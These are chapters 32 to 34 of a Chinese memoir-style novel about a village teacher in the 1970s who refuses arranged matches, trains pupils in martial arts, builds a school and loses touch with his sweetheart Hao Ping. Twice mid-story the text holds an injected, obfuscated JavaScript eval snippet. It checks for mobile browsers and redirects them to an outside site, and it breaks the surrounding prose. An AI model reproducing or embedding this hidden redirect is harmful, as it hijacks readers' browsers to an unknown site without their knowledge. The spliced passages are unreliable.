出嫁的姑姑传话来了,说小姑娘的妈妈相中了,很满意。 我母亲觉得可以,可我父亲坚决不同意做上门女婿,做儿媳妇可以。我也不想做上门女婿。这门亲事就没成。 这门亲事没成,我母亲一直觉得很遗憾。 所以,听了那个表叔的话,得知有个姑娘看上我了,我母亲就很高兴。 表叔对我母亲说:“这姑娘家条件很好,是大余粮户,父亲又是大队书记。”表叔知道我家是大缺粮户,又知道我父亲受小队干部欺负,所以有针对性地说。 表叔成功地说服了我母亲,又去找我父亲,父亲正在“瘫子爹”家和瘫子爹”拉家常。结果,表叔又成功地说服了我父亲,连见多识广的“瘫子爹”也同意。 表叔说约好了,当天晚上就到红安去相亲。 可是我心里已经有了郝苹,坚决不同意去相亲,父亲母亲也不能强迫我去。 表叔见我不同意去相亲,一下子就发火了。说:“那就是你们太瞧不起我了,这也叫我太没面子了。” 母亲说:“之华不愿意去,我们做父母的也不能强迫他啊!” “都是男方求女方的,现在女方求我来说亲,你们连去都不去。”表叔气乎乎地站起来,指着我父亲质问,“你说说,哪有这样的道理?” 我父母都很难为情的样子,低头坐着不知怎么回答。 表叔平了一下气,又坐了下来,对我母亲说:“表姐,看在我的面子上,你叫之华去一下,谈不谈得好,看不看得中,都去一下,我这个媒人也好有个交待。你们去都不去,那是瞧不起我这个媒人了,我的面子就都丢光了。” 于是母亲就来劝我了,我还是坚决不去。 表叔又发火了,大声说道:“你如果不去,我们这个亲戚就不做了,从此没我这个亲戚了!”说完就气冲冲地出门到我外婆家去了。 接下来,外婆也要我去,舅舅也要我去。 舅舅把我拉到一边,避开表叔,小声对我说:“你就应付着去一下,然后说没谈好,这就给了表叔一个面子。我陪你一起去和那姑娘见见面就回来,好不好?” 没办法了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915236|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不去了。 已经到了吃晚饭的时间了。吃完饭,天就黑了。表叔就带着我和舅舅出发了,舅舅打着手电筒。 路不算远,过了我们村就是红安县的地面。大约走了五六里路,就到了表叔家。 那姑娘已经在表叔家了,表叔先和那姑娘约好在表叔家见面。 进屋后,舅舅把我推进南边的厢房,那姑娘在厢房里。 我一进屋,那姑娘很热情很大方地站起来迎着我走过来,说:“你好!你就是之华吧,我叫桂香。你请坐。” 我坐在她对面的椅子上 ,她也坐了下来。 这姑娘看起来好像年纪比我大一点,短发,圆脸,大眼睛。她了抿了抿头发,问,“你今年多大了?”没等我回答,她接着说,“我今年20。” “我也20。”我回答。 “我这个月刚满20,你呢?” “我今年5月满20。” “那还小我五个月呢。”她笑了笑说。 “你们宣传队的节目演得真好!是我看过的最好的宣传队。你的京剧唱得太好听了。我一直跟着看你们演出,你们演到哪里,我就跟着看到哪里。”她一下子就找开了话匣子。 我想着心事,没答话。 她不住气地说着。她说她很喜欢我,愿意和我成亲,她父母也看过我的演出,也很喜欢我。然后又介绍了她的家庭情况。 我一直听她说,低着头没说话。 她见我一直不吭声,就停下对我说:“你也说说你的情况呀!” 好大方的姑娘啊!我该怎么对她说呢? “我家里好穷,是个大缺粮户。而且——”我想让她“知穷而退”。 “我不在乎!,我们家条件好哇,没关系的。再说,我也不怕穷!”没等我说完,她打断我的话,又开始一直说,“穷不怕,我们不会一直穷下去的。穷则思变呀,想办法呀,我家虽说是大余粮户,还想办法呢。我家养了几头猪,养了好多鸡,我哥哥还搞副业赚钱。”她越说越兴奋,还用了“我们”,她好像已经把自己当成我家的人了。 真是个又大方又爽朗的好姑娘!怪不得她那么自信。她一定认为我不可能不同意。 可是,我一定是不能同意的。听那姑娘说话的时候,我脑海里一直闪现着郝苹的影子。 我最后还是对她说:“你真的非常好,非常优秀,家庭条件又好,一定能找个比我好的。我家里太穷,配不上你。真是对不起你!天太晚了,我要回去了。” 说完,我就急忙起身往外走。 她一听我的话,只愣了一下,就起身对我说:“我不嫌你家穷,你再考虑考虑!” “好吧!那我回去了。”我随口答应了一句,就出房门堂屋里了。 堂屋里的表叔和舅舅见我们出来了,同时问我:“谈得怎么样?” 表叔又紧接着对我说:“怎么样,这姑娘不错吧!不然我怎么会答应做这个媒人。” 舅舅进厢房里和那姑娘说了一会话,出来对我说:“你送送桂香吧!她们村离表叔这个村不远,一里多路,走过村北的那个山坡就到了。” 表叔也过来说:“应该送送,天这么黑,不能让一个姑娘摸黑一个人回家。” 舅舅说:“我在表叔家等你,你把桂香送到家了,再回到表叔家,然后我们一起回去。” 于是我就跟在那姑娘后面走,一直把她送到她们村口,一路上各想各的心事,没有说话。 直到分手时,她回头说了一句:“我真的不嫌你家穷,你回去再考虑考虑吧!” 我“嗯”了一声,就掉头往回走了。 我和舅舅很晚才到家。 第二天一大早,表叔又兴冲冲地来了。 他一进我家门就大声对我母亲说:“表姐,姑娘家都准备好了,之华今天上午就去姑娘家上门。” “不会吧!昨晚之华回来我问过了,他们没说好哇!”母亲一听就愣了,有点着急地说。 “你弟弟说没问题,他打包票的。”表叔很肯定地说。 原来就在我送那姑娘走后,我那极爱面子又极不靠谱的舅舅对表叔说,这姑娘真不错,又漂亮,又大方,家庭条件又这么好,父亲还是大队书记,打着灯笼也难找,我这个做舅舅的看中了,保证能说服姐和姐夫。之华很老实很孝顺,一定会听从父母的安排。你去对女方说,就说男方同意了。 “之华很犟的!还是得他自己同意才行啊!”母亲知道我的性格,真着急了。 “那今天他非去不可!人家猪也杀了,客也请了,就等着之华上门呢。” “老表,这就麻烦大了哇!”母亲埋怨道,“都怪我那个不靠谱的黑蛮!” “黑蛮”是我舅舅的浑名。 我是决不会去也不能去的。于是,就彻底得罪了那个表叔,亲戚成了仇敌,本来来往得很亲密的亲戚好多年没来往了。 事情过去了很多年,心里总觉对不起那位又漂亮又大方的好姑娘。 32. 第 32 章 五 年一过,开学了。因为没有校舍,篮球场、乒乓球台等体育运动场所都没有,体育课没法上,只是跑步、跳高、跳远,光搞田径运动不行啊。 我就出了个主意,搞武术,上武术课。从小看到我祖父每天清晨就起床练功,搞吐纳,我对武术很感兴趣,还曾拜访过一位老武师学过洪拳。我们当时小学的负责人很赞同,就采纳了我的建议,同意我在学校搞武术,上武术课。 于是,我到武汉买回了一套武术教材,如《初级长拳》、《初级剑法》、《初级刀法》、《初级棍法》等,还买回来10把刀、10枝红缨枪、10把剑。我打算在学校成立一个20人的武术队,10个男生,10个女生,就又买回10套白色的男运动服和10套红色女运动服。大队干部也因为我搞大队宣传队为大队挣了光,也同意出了这笔钱。 学校体育课都改成了武术课,20人的武术队也成立了。 我担任武术队的总教练,还配了一位古清秋老师作助手。每天早上6点到7点和下午5点到6点定为武术队训练时间,风雨无阻,雷打不动,坚持了5年,一直到我被撤了校长职务并离开这个学校为止。 每天训练时,我指导学生练腿功,练腰功,练前滚翻,练后滚翻,到后来练前空翻,练后空翻,练侧空翻;并教学生练初级长拳、初级剑法、初级刀法、初级棍法;后来又练刀对枪,刀对刀,枪对枪,还有三人对棍等。 现在想起来才有点后怕,当时真是胆子特大了。搞武术训练风险是很大的,尤其是练空翻。练习时要用弹跳板、运动垫。稍有闪失,就会摔断手,摔断脚,甚至摔断脖子。可能是老天保祐吧,5年中竟奇迹般地没出过一次事故。 到春节大队文艺宣传队演出时,我的武术队成了最亮眼的明星队了。我们宣传队在路上列队前行时,可威风了! 想像一下这样的画面:在穿着各式演出服的队员前面,穿着一身白色运动服的10个小男孩,留着一式的小平头,手持刀棍,穿着一身红色运动服的10个小女孩,梳着一式的羊角辫,背着宝剑和红缨枪,走在队伍的最前面。锣鼓声中,队伍前后红旗招展。 每次开演,武术队先出场,锣鼓一响,孩子们一连串的空翻就震撼了全场。 接着,一个8岁的小女孩,连走28个“前桥”(前手翻)。 再接着,一个8岁的小男孩,最后再来一个侧空翻接直体后空翻,于是引起一片惊呼之声。(这个小男孩后来在武汉一所中学当总务生任,现在也五十多了,有一次在武汉遇上我,他对我说,他现在还能做空翻呢。我说,还能翻?你真了不起!) 队中还有一个年仅7岁的非常可爱的小女孩,空翻非常棒。路远了,我常背着她去演出。 压场的也是我的武术队,刀枪剑棍拳,分组表演,交替出场,最后的“三人对棍”更是赢得观众赞叹。 这“三人对棍”是我花了好大的功夫,请武汉体育学院武术专业的老师教的。 “三人对棍”是一个女生和两个男生对打,那个女生就是我的大妹妹呢,当时她也是我们小学的学生。 我们小学的武术队还惊动了县党委宣传部,那个曾经负责我们公社宣传队的杨波,已经是宣传部长了。 他就派人找到我,要我们武术队到水利工地搞慰问演出。有一次,杨部长还亲自到工地看我们的演出,他还兴致勃勃地为我们拍了好多照片,这照片我现在还保存着几张。 在水利工地看了我们武术队的演出,杨部长很惊讶于我们的演出,于是就特邀我们武术队去县人民会场参加庆祝“六一儿童节”的文艺会演。 那是1975年的“六一儿童节”。我带着我们学校的武术队,还带上我们学校的文艺宣传队,提前三天,坐专车到了县第二招待所。 学校文艺宣传队也是我负责搞起来的,文艺宣传队带去了两个节目,一个是舞蹈《我爱北京天安门》,这个舞蹈我是照“样板”排练的;一个是二胡齐奏《草原上的□□见到了毛主席》。 十个参演的学生也是我手把手教出来的。两个节目都练的很不错,我觉得拿得出手,就带去了。 在演出前的彩排时,杨部长还请县文工团的两位老师专门给我们作指导。 彩排结束时,其中一位老师还开玩笑对我说:“你这是来抢我们的饭碗来了啊!”我印象很深。 这次文艺会演,舞蹈《我爱北京天安门》和二胡齐奏《草原上的□□见到了毛主席》这两个节目是放在前面演的,主办方特地把我们的武术表演放到最后压台。 我们表演了各种空翻、初级长拳、初级剑、刀枪对练,三人对棍等武术节目,引起全场观众一阵又一阵的热烈掌声和欢呼声,把晚会推向了高潮。 县教育局的局长姓张,就是我小学所在的张家大塆的人,他也出席了文艺晚会。 看完节目后,他和我谈了一次话,他知道我们学校没有集中的校舍。于是,他对我说:“没有校舍怎么行啊?我们县教育局给你们拨点经费,你们大队再想想办法,把学校校舍建起来。 我一听,高兴极了。心里想,这武术队算是搞对了,这回立了大功了,我们就要有一个像个学校的学校了。 世界上的事真说不清,祸福是相依相存的。千辛万苦干出成就了,却给自己带来了灾难。 六 这次演出影响很大,影响很好,对我的影响也很大。 从县里回来不久,公社教育组就在大会上宣布:任命我为我们小学的负责人。 另外还派了一位公办老师到我们学校和我一起负责管理这个学校,这是我们这个学校第一次有一个公办老师。 一般大队小学都没有公办老师,全部都是民办老师。这个老师也姓张,是张家大塆的人。 在宣布任命时,学校两个负责人,我的名字在前面,应该是正校长,但一直到我离开学校,人们都称张老师为校长,从来没有一个人称我为“校长”。 老师、学生、家长,都称我为“之华老师”。 很有意思的是,学校的其他老师到村子里去,也被孩子们称做“之华老师”。 直到现在,我回老家去,老家的人遇见我,还是说: “之华老师回来了!” “您是之华老师吧?老啦!” “你好哇!之华老师。” 张校长到学校不久,就到县党校学习去了,直到我离开学校还没回校。学校原来的校长也姓张,这时就做了教导主任。 县教育局拨给我们学校800元钱。用800元钱建一所小学,现在的人可能会觉得简直是天方夜谈,怎么可能? 然而,我们就是用这800元钱,建起了一所能供300多个小学生上课的学校。 然而,新学校建起来了,导致我校长当不成了,连民办老师也当不成了。这是后话。 我先到红安县的一个林场去买木材,这800元钱买了一大车木材,用来做屋顶,做门窗。 建学校的砖,由大队负责。全部的砖都是土砖,不花一分钱。 我们这里建房子,用的都是在田里切出来的土砖。 选几个大田,先用研滚把田里的土压紧,然后用专门的切砖刀在田里切砖,凉干后堆起来备用。 建校的劳动力由大队分派给各小队。 我把校址选在十个村子的中心地带,规划建一排房子十间教室,也不需要专业的设计。 六个年级六间教室,另外四间,一间用作办公室,一间用作教师食堂,一间用作教师宿舍,一间用作仓库。 黑板是用水泥做的,用水泥做底,面上刷上黑油漆。 讲台是用土砖做的,外表用泥巴一糊,放一块木板。 课桌和椅子由学生自带。 一排教室前面平整出一个大操场。 就这样,我们的小学建成了。原先分散在四个村子里的班级终于集中起来了。 建校时,还有一个小插曲。 建校的木材是最宝贵的东西,所以,这木材堆在建校的工地上,必须有人看守。我把学校八位男老师分为两班,轮班在夜里看守木材。 有一天,轮到我值班,我们就睡在在木材旁边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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1946年,“二苕爹”被国民党抓了壮丁,辽沈战役时,他在东北当了逃兵,历尽千辛万苦,艰难跋涉数千里,最后逃回了家。 夏天乘凉时,“二苕爹”给我讲过他的这段经历,所以我就根据“二苕爹”的讲述,画了四十多幅连环画,搞了这次画展。 全部是水墨画,没有着色,采用的是“工兼写”的手法。 1996年,中国发生了很多大事,三位伟人去世,“□□”被打倒,社会发生了巨大的变化。 可是,在我们那个会龙山地区,游了几次行,开了几次会,好像没什么大变化。 还记得起的事有两件。 一是大队举办了一次“歌颂英明领袖”的诗歌朗诵比赛。有意思的是,十个小队参赛的诗歌全是我一个人写的。 二是大队里十个村子里都办了批判“□□”的专题墙报,而这些墙报都是我主办的,报头画都是我画的,大部份诗文是我写的。 最让我难忘的是一件很奇怪的事。我在一个村子里办墙报,村子里一位神精病人来找我。 他说我和列宁同志是老战友,请我和列宁同志讲一下,给他办一个可以外出做手艺搞副业的介绍信。 我说列宁同志是外国人,我不认识。他又说我和中央的同志很熟,要我去请中央的同志帮忙,我说中央的同志已经被打倒了。 这个神精病人是因为大队不给他出搞副业的介绍信而急疯的。 镇上也有一个疯病原因相同的病人,那个病人头发很长,胡子也很长,穿着破旧的中山装,成天嘴里念叨着“章子,章子,章子不章子,盖章不章章”。 他也是想外出搞副业,但大队会计不给他盖章子,他搞不成副业,就急疯了。 这个疯子很会下中国象棋,镇上的人都下不过他。 我还曾经和他下过一盘,我完全不是他的对手。 当时的大队会计手中有章子,权利很大。 33. 第 33 章 七 时间到了1977年的春天,县文化馆办了一个泥塑培训班,县文化馆点名要我去参加学习,说是要我拿出五件泥塑作品,到北京去展出。 黄陂泥塑是很有名气的,也是国家非物质文化遗产。 武汉归元寺里的五百罗汉,一个个神态各异,栩栩如生,就是黄陂泥塑的代表作品。 我接到通知也非常高兴地去县里参加学习了。 县泥塑培训班的指导老师是泥塑高手,他指导我们如何和泥,指导我们怎样用泥塑刀,然后指导我们塑人体。 忽然有一天,我那个不靠谱的舅舅又来了。 舅舅知道,自去年正月十六以后,郝苹就没来信了,于是就又来操持我的婚事了。 正月十六那天发生的事,使得我和郝苹没有了来往。 年前我接到郝苹的最后一封信,信很短,她在信中说,只要她不死,今年一定要回来。 并告诉我,开年后的正月十六,一定要到县城她的家里来,什么事,见面时再说。 这时她父亲已经调到县城里工作了,全家也搬到县城里来了。 两年前,我和郝苹曾见过一面,也是在春节期间。 也是在年前,她给我来信,说她要回来过年。 正月初三,在大队部守电话机的老同学跑到我家里来,说镇上有一位姑娘打来电话,要我第二天正月初四去她家见面。 我心有顾虑,考虑到两个人离这么远,家庭差距又这么大,还是不去的好。 父母作不了我的主,而“瘫子爹”一力主张我去,他对我说: “郝苹姑娘一定是真心爱你的,凭你的人品才华,完全配得上她。” 他叫他儿子我称为“珅叔”的陪我一同去镇上。 我犹犹豫豫地,直到下午五点多钟才来到她家门口。 她父亲看到了门口的我,很热情地把我迎到了家里。 她继母也拿出糖果来招待我,她父亲又给我端来一杯茶,请我坐下来说话。 她父亲在我对面坐下来,对我说:“苹苹等了你一天,你怎么现在才来啊?” 我说:“家里有事耽搁了。真对不起!” “苹苹刚走了一会,可能是到她同学那里去了。” 说着,他站起身对我说,“这样吧,我和你一起去找找看,可能就在附近那几个同学家。” 于是,我就跟着他出门去找郝苹。 我随着他走到一户人家的窗户前,他对我说:“我先看看在不在这一家。” 郝苹的父亲长得很胖,个子很高大。只见他踮起脚,很吃力地扒着窗台,向房里看。回头对我说:“不在这一家。” 他松开扒窗台的手,下来对我说:“我们到下一家看看。” 走不多远,他指着一户人家说:“到这一家看看吧。” 这时天已经黑了,这户人家已经亮了灯。 郝苹的父亲又像刚才一样,扒上这户人家的窗台,借着灯光向里看。 看着郝苹父亲扒在窗台上那高大肥胖的身子,我眼里满含着热泪。 郝苹父亲拍拍身上的灰尘,对我说:“也不在这一家,算了吧,她可能以为你不会来了。我们找个地方谈谈吧。” 我随着他来到一个小池塘边坐下。 没想到,他开门见山地对我说:“你和郝苹的事,我是同意的。” 我和郝苹在来往信件中只谈看书和工作的事,一直没谈过婚姻方面的事,真的想不到,竟然是她父亲先捅破这窗户纸。 他又鼓励我,不要顾虑家庭状况有差异,也不要顾虑城市户口和城市户口的差异。 他要我多读书学习,并告诉我,要争取上大学,机会还是有的。 他说相信我将来会上大学的。 他说的多,我主要是听他的教诲,很少说话。 大约谈了一个多小时,他站起身来,对我说: “今天不早了,你有地方住吗?今天就不要回去了。你们见一次面不容易,约个地方,你们明天见面谈谈吧。” 我告诉他,我在镇上有好多朋友,有以前宣传队的朋友,还有几个老同学也在镇里工作。 他问我什么时间见面好,我说明天早上八点。他说八点太晚了,六点半左右好。 见面的地方也是他定的,他说镇北面那个松树林比较幽静,就在那里见面好。 分手后,我在郝苹家附近找到了坤叔,我们就一起到镇上一个朋友那里去了。 这天晚上,我失眠了,我想了许多许多,觉得郝苹的父亲太好了,早就应该去见他了。我太对不起郝苹了,我真是没出息,自尊心太强,又太自卑了。 第二天一大早,和坤叔一起在街上吃了早点,我就让坤叔回去了。 我急忙赶到约定见面的那片松树林,只见郝苹已经站在那里了。 分别三年了,终于见面了。 她成熟多了,不再是那个天真幼稚的小姑娘了。 她看上去更漂亮了,辫子还是那么长,那么黑,那么粗,眼睛还是那么亮,只是觉得她眼睛里多了一些什么。 我马上回想起当年在红岗山的那一幕,站在面前的已经不是那个张开双臂边喊边跑过来的小姑娘了。 “ 昨天怎么来这么晚?我以为你不来了呢。”还是她先开口,“昨天我爸爸和你谈了些什么?能告诉我吗?” “我有点不敢见你爸爸。”我接着说,“你爸爸真好!” “爸爸对我说了,你们谈了一个多小时。” 于是我简要地对她说了一下和她爸爸谈的内容,最后说: “你爸爸鼓励我多读书,争取将来上大学,但是——” 于是我就对她讲了我们大队去年推荐工农兵大学生的事。 华中师范学院来我们大队考查被推荐上大学的考生。我们大队推荐的人是一位转业军人。 考查的时候我也在场,因为我也报过名,但没被推荐上,原因就不用说了,村里人说我是白日做梦。 那位负责招生的人问那位准大学生说: “1减去2等于多少?” “你这个题目出错了吧?1比2小,1怎么能减2呢?”这位准大学生小学还没毕业,能理解他这么回答。 “那我再换个问题,把水泼在雪地里,地上的雪为什么会化?” “那当然会化呀?” “为什么会化呢?” “因为你把水泼在雪上面了呀。” “换个你熟悉的问题吧。你会些什么呢?” “我会种田。” “好,那就问个种田的问题吧。你们这里是种稻谷的,那么,我问你,什么时候浸稻种?什么时候下秧?” 这位老师看上去五十岁左右,可能是从农村考上大学的,对种田也不陌生。 “这太简单了!队长叫我什么时候浸稻种就什么时候浸稻种,队长叫什么时候下秧就什么时候下秧。” 那老师就没再往下问了,考查结束了。老师说了句“你等通知吧”就走了。 整个过程我都在场,我心想,完了,这位转业军人肯定不会被录取。 后来,他竟被录取了,进了华中师范学院的中文系。 这位被录取的工农兵大学生姓熊,从华师毕业后,分配到孝感地区某中学教书。 九十年代中期曾找过我,因为要评职称,求我给他写篇论文我没答应他。当时我已经是中教高级了,而他还在评中教一级,也不知后来评上了没有。学校先是安排他教初中语文,因为学生意见太大,就改教生物,生物也教不下去了,就在学校管理图书室。 听了我讲的事,郝苹也笑了。 我说,大学如果总是这样招生,我是不可能有机会上大学的。 郝苹介绍了她的工作情况,她先是在车间里做车工,后来调到宣传科做播音员。 我也介绍了我的工作情况,当我说到我搞武术队的事,她说我胆子真大。 我们就这样面对面站着,谈了大约两个多小时。 她看了看表,快九点钟了,她突然对我说: “今天时间还早,我到你家去看看你父母亲吧。” 我一点思想准备都没有,但立即就高兴地答应了。 从这片松树林到我们家大约有十多里路,我们沿着田间小路向东走去,边谈边走,走到我家,已是吃午饭的时候了。 我父亲也很意外,但也非常高兴,热情地接待了郝苹。 母亲特地向邻居借了几个鸡蛋,杀了只老母鸡。 父亲还上街买了一点肉。 吃完中午饭,我又送郝苹到镇上。 我们到镇上时,天已经黑了,街上正在露天放电影。我们一起来看完了电影才分手。 八 这一次,郝苹又是年前来信,要我正月十六到她家里去。去不去呢?我又犹豫起来。 忽然接到一个通知,全县中小学校长,于正月十六上午九点,集中到县人民会场看电影《决裂》,不得无故缺席。 难道是天意吗?我不再犹豫了,决定去她家! 正月十六上午,看完电影,我就急忙往郝苹的家里走去。 走到黄陂大桥上,前面就是郝苹家了。 忽然,一辆载满人的大卡车在我的身旁急刹车停住了。 上面有人大声嘁我的名字:“之华!之华!后面没车了,快上车!” 我向车上一看,喊我的人是我初中时的肖主任,车上全都是来县里看电影的中小学校长。 两个“热心”的校长跳下车,不由我分说就把我拉上车了。 我说我有急事他们也不听,“好心”的校长说,“这个时候有什么急事?没有车就回不去了。”车立马就开了。 “ 难道这也是天意吗?”我无奈地想。 后来才知道,在郝苹家及郝苹家的亲友中,分成了两派,郝苹的父亲和他的好朋友杨波部长为代表的亲友是一派,非常赞同郝苹和我的婚事。 郝苹的继母和她医院的朋友也是我父亲的宿敌古唯富为代表的亲友是一派,极力反对我和郝苹的婚事。 双方约定,在正月十六那天都集中到郝苹家来,并约我到场,作出最后裁决。 结果我没有去,郝苹的父亲那一派就非常被动了,结果就可想而知了。 于是,从此,我就和郝苹断了来往。 我父母知道了这个情况,我舅舅也知道了这个情况,于是,舅舅又开始张罗我的婚事了。 舅舅很兴奋地对我说,已经全家搬迁到新州县的“苕一哥大伯”托人带信,说他们那里出了一桩稀奇的事。 一位貌如天仙的四川姑娘在他们那里“隔帘相亲”。 姑娘坐在房里,房门垂下纱帘。 来相亲的男子坐在客厅里与姑娘的哥哥交谈,姑娘坐在房里隔帘观察男子的言谈举止。 时间一到,如果纱帘未动,表明姑娘没相中,如果纱帘动了,就表明姑娘相中了。 “苕一哥大伯”说,他们那里方圆几十里的几十个条件很不错的男青年去参加这个“隔帘相亲”,都没被那姑娘相中。 “苕一哥大伯”说,只有之华可能被相中,而且只要相中了,姑娘家一分钱彩礼都不要。 那几年,我们老家那个地方嫁来了好多四川姑娘,大都是四川万县的。 仅我们大队就有十几个四川姑娘嫁过来,我们村就娶了四个四川姑娘。 彩礼都很重,有的达五千多元,这数字在当时是很大的,一般人家出不起。 “苕一哥大伯”知道我家穷,如果不需花钱就能娶到这么好的媳妇,岂不是大大的好事么! 有这样的好事,我的舅舅高兴得不得了,征得我父母的同意后,就立马赶到县城来找我了。 我听了也觉得很新奇,但并不愿意去。 见我不答应去,舅舅就很不高兴了,说:“你那郝苹已经没希望了。你也这么大了,村里和你同年的华华已经两个孩子了。这么好的机会你不去,我不好向你伯妈交差。今天你去也得去,不去也得去。”我这不靠谱的舅舅真的发火了。 可能是为了舅舅好交差,也可能是我也有点好奇,我竟鬼使神差地随舅舅去了。 但我还是对舅舅说,去可以,但无论那姑娘相中相不中,我都不会答应和那姑娘成亲。 舅舅答应了,说,你只要去就行,去了再说,你看不上那姑娘,我们也不能强求。 和舅舅一起,我 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“我们村里就来了四个四川姑娘,她们都说我们这里比你们那里好。”我舅舅忙接过话来说。 “听说你是小学老师,请你也介绍一下吧。”姑娘的哥哥转头对我说。 “我这个外甥不大爱说话,还是我来介绍吧。” 我这个爱吹牛的舅舅就开始吹起我来了。他滔滔不绝地说我多才多艺,吹拉弹唱样样行,说我是小学校长,如何如何优秀,还说上门提亲的把门槛都踏破了,等等。 我坐在那里一直没说话,心里只想着如何脱身。因为我根本不打算现在就成家,不想就这样在乡里过一辈子。 舅舅刚说完,那姑娘拉了拉了拉她哥哥的袖子,把哥哥拉到房里去了。 不一会,姑娘的哥哥从房里出来,对我舅舅说:“我妹妹已经同意了,她愿意今天就和你们一起到之华的家里去。你们可以准备婚礼了。” 舅舅和“苕一哥大伯”一听,都非常高兴。 我一听就急了。我忙把舅舅拉到屋外,对他说:“这怎么行啊!来的时候不是说好了的吗?” “你怎么这么苕啊!这姑娘多好,多漂亮!还是高中生,又一分钱彩礼钱都不要。打着灯笼也找不到这么好的事。 “我已经有言在先了,现在不想成家,我要回去了。”说完,我就匆匆往村外走去。 舅舅见我走了,急忙跑进屋里去了。屋里听我舅舅一说,都愣住了。 这时,“苕一哥大伯”说话了:“我作主,你们现在就一起回古家田去。我是为他们家好!” “苕一哥大伯” 是党员,在老家时,经常为我家打抱不平,处处护卫我家,算得上是我父亲的“铁哥们”。 他说他这样做是为我家好,也是对我父母负责。 这次,“苕一哥大伯”是“好心办坏事啊”! 事后,“苕一哥大伯”自己也说过:“那次,我是好心办坏事啊!”。 “苕一哥大伯”是因为家大口阔吃不上饱饭才全家搬到这里来的。 这里是湖区,通过围湖造田建成农场,田多人少,需要大量劳动力。 “苕一哥大伯”也曾劝说我父亲把全家也搬到这里来。我父亲也曾来这里和农场的负责人谈过,没谈成。 农场嫌我们家读书的人多,劳动力少,父亲怕这里影响孩子们读书,双方都不满意。 “苕一哥大伯”家离古家田有三十多里地。中间要路过新州县的仓埠和黄陂县的甘棠镇。 我一个人在前面走,后面跟着走的是我舅舅、那姑娘和她哥哥三个人,中间隔一里多路。 当路过甘棠镇街上的供销社时,我发现我的初中同班同学肖成群正站在供销社门口。 我急忙躲到供销社墙边,生怕老同学看到我。 直到老同学肖成群走远了,我才绕过供销社,向家的方向继续走。 我先到家,一到家,我就把情况对母亲讲了。 我告诉母亲,想办法让这姑娘走,我到朋友家去避一避,这姑娘走了我再回来。 于是,我就到老同学蔡先明家去了,他离开公社宣传队后,也到他们大队小学当民办老师了。 我走了,家里“乱成一团”了。 父母一见那姑娘,非常满意。村里人见了,纷纷前来道喜,学校老师听说了,也来家里祝贺。 父亲作了快定,指示我舅舅赶快把我找回来。 家里开始筹办婚礼,并给亲友发请贴。 父亲说,把生米煮成熟饭了,不由得我不同意。母亲安排姑娘哥妹俩住在我堂叔家。 亲友们都送礼来了,学校老师们也送礼来了。老同学古春福送来一个洗脸盆,学校老师(包括我未来孩子的妈也在其中)出份子送来一套床上用品。 舅舅知道我和蔡先明是很亲密的朋友,不靠谱的舅舅这回有点靠谱,他猜到了我的去向,在蔡先明找到了我。 他把家里情况对我说了,意思是,父母都非常满意,非常高兴,婚礼都筹备好,非回去成亲不可。 但是,无论舅舅怎么说,我是坚决不回去。 舅舅没办法,说了句“我劝不动,总有人劝得动”就回去了。 舅舅走后,我担心我父母找来,就到黄陂城关的老同学叶光增家那里去了。 临走嘱咐老同学蔡先明,不要让人知道我的去处。 到黄陂后,叶光增送了我一些替换的衣服,我又搭老同学姚友昌的便车到武汉老同学孙厚琼同学那里去了。 孙玉京同学被推荐上了师范,师范毕业后在武汉一所学校教书。 我们坚决不回家,父母也没有办法了,只好向那姑娘说对不起,对亲友们说对不起,把送的礼都退回去,也把那姑娘送走了。 我回来后母亲对我说,那姑娘很不愿意走,说想再见我一面再走。 姑娘临走时留下了一双绣花鞋垫,说是送给我作个纪念。 我见到这一双绣花鞋垫,心里也有些难受,觉得自己太对不起这位四川姑娘了。 也不知这姑娘后来怎么样,祝愿她有个好的归属,一生幸福! 34. 第 34 章 九 事情虽然过去了,可是一直都很硬气的父亲开始伤心起来了。 一天晚上,我看完电影回家,母亲在家挽柴把子,柴把子堆满了半间堂屋。 父亲不在家,我猜他一定又到瘫子爹那里聊天去了,于是我就到瘫子家去,我也是很爱和瘫子爹谈天说地的。 走到瘫子爹家门口,忽然听见屋里面父亲哭出声来了。 长这么大,从来就没见父亲哭过,我很吃惊,于是就在门外站着没敢进屋。 只听父亲边哭边说道:“下放到乡下来,我不后悔,只是害苦了我的之华啊!” 停顿了一下,父亲又接着说:“他已经24岁了,同村的他这么大的都成家有孩子了,可是他——”父亲有点梗咽了。 听到这里,我忍不住推门进去了。父亲一见我进来了, 慌忙用袖子擦眼泪。 瘫子爹说:“你来得正好,我和你父亲正在说你呢。” 瘫子爹是因工负伤,高位截瘫,只能长年坐在轮椅上。 “你和那个郝苹一直没有联系了吗?”瘫子爹让我坐在他身边,对我说。 “没有联系了。”我说。 “听你父亲说,那个四川省姑娘很不错的,你怎么不同意呢?”瘫子爹皱起了眉头,又问我,“你有什么打算呢?” “我现在还不想成家。” “你已经不小了哇!你看,二苕货他家华华和你是一年出生的,他已经有两个儿子了。” “他是他,我是我,我不和他比。”我和瘫子爹也算是忘年交,无话不谈,说话也很随便。 “只怪我家太穷了,没有人看得上。”父亲在一边说话了。 “不见得吧!”瘫子爹拦住我父亲的话,接着说:“我们之华多优秀!远近十里八塆,论人品,论才华,有那一个年青人能比得上我们之华。” “你还不知道吧,他妈几次托人,想给他说门亲,说了几个,别人都嫌我家穷不同意。” “有这事?”瘫子爹有点不信。 于是父亲就说了母亲托人说媒的对象,有面前村的某某姑娘,有后面村的某某姑娘。他说的两个姑娘我都很熟,虽然都长得比较漂亮,但都是小学还没上完的,基本上是文盲半文盲,我选宣传队员时都没被我选上的。 我说:“妈真糊涂!” 